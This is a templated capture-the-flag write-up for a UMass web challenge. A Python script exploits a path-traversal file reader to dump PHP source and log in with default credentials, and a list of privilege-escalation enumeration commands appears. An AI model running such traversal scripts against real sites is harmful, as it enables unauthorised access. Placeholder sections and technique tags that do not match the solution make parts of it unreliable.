Brick by Brick
Brick by Brick
Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: credential_reuse, hex_to_ascii, lfi_source_disclosure, path_traversal_bypass, robots_txt_recon, uart_frame_decoding
Summary
Task: a PHP site exposed internal docs in robots.txt and a vulnerable ?file= reader under /internal-docs/. Solution: path traversal disclosed source files, revealing the hidden admin dashboard, default credentials, and the hardcoded flag.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_brick_by_brick - Tags: lfi, path_traversal, php, source_code_disclosure, robots_txt, default_credentials, uart, logic_analyzer, csv, serial_capture
- Indicators: robots.txt exposes internal documentation paths, file read endpoint uses ?file= with local path concatenation, Blacklist blocks only /etc/passwd instead of normalizing traversal, PHP source disclosure reveals hidden routes and hardcoded credentials
- Source:
20260411_umasscybersec_brick_by_brick.md
Foothold
Vulnerability / Misconfiguration
- credential_reuse
- hex_to_ascii
- lfi_source_disclosure
- path_traversal_bypass
- robots_txt_recon
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- credential_reuse
- hex_to_ascii
- lfi_source_disclosure
- path_traversal_bypass
- robots_txt_recon
- uart_frame_decoding
- Tags: lfi, path_traversal, php, source_code_disclosure, robots_txt, default_credentials, uart, logic_analyzer, csv, serial_capture
Original Writeup
<details><summary>Click to expand original content</summary>Brick by Brick — UMass Cybersecurity CTF
Description
Organizer description was not preserved in the local task files.
English summary: a PHP website exposed internal documentation via robots.txt. Those documents described a file-read endpoint that could be abused with path traversal to read application source code, discover a hidden admin dashboard, and recover both credentials and the flag.
Analysis
The main clue was robots.txt, which pointed to /internal-docs/. One internal document described a file read feature that accepted ?file=.
Reading index.php showed the server prepended /var/www/html/ to the user-controlled filename and only blocked inputs starting with /etc/passwd. Because the application did not canonicalize the path, traversal sequences such as ../ still worked, giving a local file inclusion / arbitrary file read primitive.
Using that primitive on config.php revealed the hidden route /dashboard-admin.php. Reading that file then exposed default credentials administrator / administrator and the same flag constant returned after login.
Solution
- Request
robots.txtand discover/internal-docs/. - Read the internal documentation and identify the vulnerable
?file=endpoint. - Use traversal to read
index.phpand confirm weak blacklist-based filtering. - Read
config.phpto recover the hidden admin dashboard path. - Read
dashboard-admin.phpto obtain the default credentials and the flag constant. - Log in with
administrator / administratorand retrieve the flag from the dashboard.
</details>python read-only • copy allowed#!/usr/bin/env python3 import re import requests BASE = "http://brick-by-brick.web.ctf.umasscybersec.org" SESSION = requests.Session() def read_file(path: str) -> str: r = SESSION.get(f"{BASE}/internal-docs/view.php", params={"file": path}, timeout=10) r.raise_for_status() return r.text index_php = read_file("../../../../var/www/html/index.php") print("[+] index.php read:", "?file=" in index_php) config_php = read_file("../../../../var/www/html/config.php") dashboard = re.search(r"dashboard-admin\.php", config_php) print("[+] Hidden dashboard:", dashboard.group(0) if dashboard else "not found") dashboard_php = read_file("../../../../var/www/html/dashboard-admin.php") flag = re.search(r"UMASS\{[^}]+\}", dashboard_php) print("[+] Flag from source:", flag.group(0) if flag else "not found") login = SESSION.post( f"{BASE}/dashboard-admin.php", data={"username": "administrator", "password": "administrator"}, timeout=10, ) login.raise_for_status() flag_page = re.search(r"UMASS\{[^}]+\}", login.text) print("[+] Flag after login:", flag_page.group(0) if flag_page else "not found")
signed by XESXOR